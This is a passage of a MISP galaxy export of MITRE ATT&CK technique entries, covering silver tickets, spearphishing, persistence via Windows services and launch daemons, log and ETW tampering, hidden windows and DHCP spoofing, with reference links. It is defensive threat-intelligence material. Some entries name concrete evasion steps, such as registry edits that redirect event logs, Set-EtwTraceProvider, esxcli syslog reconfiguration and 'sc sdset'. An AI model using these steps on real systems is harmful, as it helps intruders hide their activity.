Silver Ticket - T1558.002

Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)

Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets

without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)

Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).

The tag is: *misp-galaxy:mitre-attack-pattern="Silver Ticket - T1558.002"*

Table 8771. Table References

Links
https://adsecurity.org/?p=1515
https://adsecurity.org/?p=2011
https://attack.mitre.org/techniques/T1558/002
https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea

Vulnerability Scanning - T1595.002

Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.

These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).

The tag is: *misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002"*

Table 8772. Table References

Links
https://attack.mitre.org/techniques/T1595/002
https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning

Indicator Blocking - T1562.006

An adversary may attempt to block indicators or events typically captured by sensors from being

gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).

For example, adversaries may modify the `File` value in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security</code> to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging)

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the Registry to make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

In Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors. (Citation: LemonDuck) ESXi also leverages syslog, which can be reconfigured via commands such as `esxcli system syslog config set` and `esxcli system syslog config reload`.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)(Citation: Broadcom Configuring syslog on ESXi)

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006"*

Table 8773. Table References

Links
https://attack.mitre.org/techniques/T1562/006
https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence
https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events
https://knowledge.broadcom.com/external/article/318939/configuring-syslog-on-esxi.html
https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
https://ptylu.github.io/content/report/report.html?report=25
https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A

Spearphishing Link - T1566.002

Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.

Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an "IDN homograph attack").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)

Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications.(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)

Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002"*

Table 8774. Table References

Links
https://attack.mitre.org/techniques/T1566/002

https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
https://us-cert.cisa.gov/ncas/tips/ST05-016
https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse
https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/
https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authorization-flows-part-1
https://www.optiv.com/insights/source-zero/blog/microsoft-365-oauth-device-code-flow-and-phishing
https://www.secureworks.com/blog/oauths-device-code-flow-abused-in-phishing-attacks

Email Accounts - T1586.002

Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).

A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules.

Adversaries can use a compromised email account to hijack existing email threads with targets of interest.

The tag is: *misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002"*

Table 8775. Table References

Links

https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
https://attack.mitre.org/techniques/T1586/002
https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/

Service Execution - T1569.002

Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).

[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and <code>sc.exe</code> can accept remote servers as arguments and may be used to conduct remote execution.

Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.

The tag is: *misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002"*

Table 8776. Table References

Links
https://attack.mitre.org/techniques/T1569/002
https://docs.microsoft.com/windows/win32/services/service-control-manager
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

Email Addresses - T1589.002

Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.

Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a

system.(Citation: GrimBlog UsernameEnum) For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.(Citation: GitHub Office 365 User Enumeration)(Citation: Azure Active Directory Reconnaisance)

Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002"*

Table 8777. Table References

Links
https://attack.mitre.org/techniques/T1589/002
https://github.com/gremwell/o365enum
https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/
https://o365blog.com/post/just-looking/
https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
https://www.hackers-arise.com/email-scraping-and-maltego

Spearphishing Attachment - T1598.002

Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as [HTML Smuggling](https://attack.mitre.org/techniques/T1027/006) to harvest user credentials via fake login portals.(Citation: Huntress HTML Smuggling 2024)

Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1598.002"*

Table 8778. Table References

Links
https://attack.mitre.org/techniques/T1598/002
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
https://github.com/ryhanson/phishery
https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/
https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
https://www.huntress.com/blog/smugglers-gambit-uncovering-html-smuggling-adversary-in-the-middle-tradecraft

Windows Service - T1543.003

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.

Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.

Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)

Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).

To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload

name related to a legitimate OS or benign software component). Adversaries may also create 'hidden' services (i.e., [Hide Artifacts](https://attack.mitre.org/techniques/T1564)), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.(Citation: SANS 1)(Citation: SANS 2)

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"*

Table 8779. Table References

Links
https://attack.mitre.org/techniques/T1543/003
https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697
https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection
https://technet.microsoft.com/en-us/library/cc772408.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://unit42.paloaltonetworks.com/acidbox-rare-malware/
https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/
https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/
https://www.sans.org/blog/red-team-tactics-hiding-windows-services/
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

Code Repositories - T1593.003

Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.

Adversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys.(Citation: GitHub Cloud Service Credentials) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).

Note: This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1213/003), which focuses on [Collection](https://attack.mitre.org/tactics/TA0009) from private and internally hosted code repositories.

The tag is: *misp-galaxy:mitre-attack-pattern="Code Repositories - T1593.003"*

Table 8780. Table References

Links
https://attack.mitre.org/techniques/T1593/003
https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/

Contact List - T1636.003

Adversaries may utilize standard operating system APIs to gather contact list data. On Android, this can be accomplished using the Contacts Content Provider. On iOS, this can be accomplished using the `Contacts` framework.

If the device has been jailbroken or rooted, an adversary may be able to access the [Contact List](https://attack.mitre.org/techniques/T1636/003) without the user's knowledge or approval.

The tag is: *misp-galaxy:mitre-attack-pattern="Contact List - T1636.003"*

Table 8781. Table References

Links
https://attack.mitre.org/techniques/T1636/003
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Launch Daemon - T1543.004

Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)

Adversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path. The daemon name may be disguised by using a

name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)

Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004"*

Table 8782. Table References

Links
https://attack.mitre.org/techniques/T1543/004
https://bradleyjkemp.dev/post/launchdaemon-hijacking/
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
https://www.real-world-systems.com/docs/launchdPlist.1.html
https://www.sentinelone.com/blog/how-malware-persists-on-macos/
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Container Service - T1543.005

Adversaries may create or modify container or container cluster management tools that run as daemons, agents, or services on individual hosts. These include software for creating and managing individual containers, such as Docker and Podman, as well as container cluster node-level agents such as kubelet. By modifying these services, an adversary may be able to achieve persistence or escalate their privileges on a host.

For example, by using the `docker run` or `podman run` command with the `restart=always` directive, a container can be configured to persistently restart on the host.(Citation: AquaSec TeamTNT 2023) A user with access to the (rootful) docker command may also be able to escalate their privileges on the host.(Citation: GTFOBins Docker)

In Kubernetes environments, DaemonSets allow an adversary to persistently [Deploy Container](https://attack.mitre.org/techniques/T1610)s on all nodes, including ones added later to the cluster.(Citation: Aquasec Kubernetes Attack 2023)(Citation: Kubernetes DaemonSet) Pods can also be deployed to specific nodes using the `nodeSelector` or `nodeName` fields in the pod spec.(Citation: Kubernetes Assigning Pods to Nodes)(Citation: AppSecco Kubernetes Namespace Breakout 2020)

Note that containers can also be configured to run as [Systemd Service](https://attack.mitre.org/techniques/T1543/002)s.(Citation: Podman Systemd)(Citation: Docker Systemd)

The tag is: *misp-galaxy:mitre-attack-pattern="Container Service - T1543.005"*

Table 8783. Table References

Links
https://attack.mitre.org/techniques/T1543/005
https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216
https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters
https://blog.aquasec.com/teamtnt-reemerged-with-new-aggressive-cloud-campaign
https://docs.docker.com/config/containers/start-containers-automatically/
https://gtfobins.github.io/gtfobins/docker/
https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/
https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/
https://www.redhat.com/sysadmin/podman-run-pods-systemd-services

Hidden Window - T1564.003

Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.

Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)

On macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.

Similarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>.(Citation: PowerShell About 2019)

The Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)

In addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding <code>explorer.exe</code> process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.

Adversaries may also leverage cmd.exe(Citation: Cybereason - Hidden Malicious Remote Access) as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cred Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to hide windows.

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003"*

Table 8784. Table References

Links
https://attack.mitre.org/techniques/T1564/003
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://cantoriscomputing.wordpress.com/2016/07/22/powershell-malware/
https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1
https://lolbas-project.github.io/lolbas/Binaries/DeviceCredentialDeployment/
https://securelist.com/bluenoroff-methods-bypass-motw/108383/
https://securityintelligence.com/anatomy-of-an-hvnc-attack/
https://www.cybereason.com/blog/behind-closed-doors-the-rise-of-hidden-malicious-remote-access
https://www.malwaretech.com/2015/09/hidden-vnc-for-beginners.html

Time Providers - T1547.003

Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\`.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)

Adversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Time Providers - T1547.003"*

Table 8785. Table References

Links
https://attack.mitre.org/techniques/T1547/003
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top
https://github.com/scottlundgren/w32time
https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902

SMS Messages - T1636.004

Adversaries may utilize standard operating system APIs to gather SMS messages. On Android, this can be accomplished using the SMS Content Provider. iOS provides no standard API to access SMS messages.

If the device has been jailbroken or rooted, an adversary may be able to access [SMS Messages](https://attack.mitre.org/techniques/T1636/004) without the user's knowledge or approval.

The tag is: *misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"*

Table 8786. Table References

Links
https://attack.mitre.org/techniques/T1636/004
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

SMS Pumping - T1496.003

Adversaries may leverage messaging services for SMS pumping, which may impact system and/or hosted service availability.(Citation: Twilio SMS Pumping) SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim's messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider.(Citation: Twilio SMS Pumping Fraud)

Threat actors often use publicly available web forms, such as one-time password (OTP) or account verification fields, in order to generate SMS traffic. These fields may leverage services such as Twilio, AWS SNS, and Amazon Cognito in the background.(Citation: Twilio SMS Pumping)(Citation: AWS RE:Inforce Threat Detection 2024) In response to the large quantity of requests, SMS costs may increase and communication channels may become overwhelmed.(Citation: Twilio SMS Pumping)

The tag is: *misp-galaxy:mitre-attack-pattern="SMS Pumping - T1496.003"*

Table 8787. Table References

Links
https://attack.mitre.org/techniques/T1496/003
https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf
https://www.twilio.com/docs/glossary/what-is-sms-pumping-fraud
https://www.twilio.com/en-us/blog/sms-pumping-fraud-solutions

DHCP Spoofing - T1557.003

Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).

DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows:

1. The client broadcasts a `DISCOVER` message.
2. The server responds with an `OFFER` message, which includes an available network address.
3. The client broadcasts a `REQUEST` message, which includes the network address offered.
4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.

Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.

DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.

Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/

002)) by generating many broadcast DISCOVER messages to exhaust a network's DHCP allocation pool.

The tag is: *misp-galaxy:mitre-attack-pattern="DHCP Spoofing - T1557.003"*

Table 8788. Table References

Links
https://attack.mitre.org/techniques/T1557/003
https://datatracker.ietf.org/doc/html/rfc2131
https://datatracker.ietf.org/doc/html/rfc3315
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)
https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/
https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2
https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/

Cloud Accounts - T1585.003

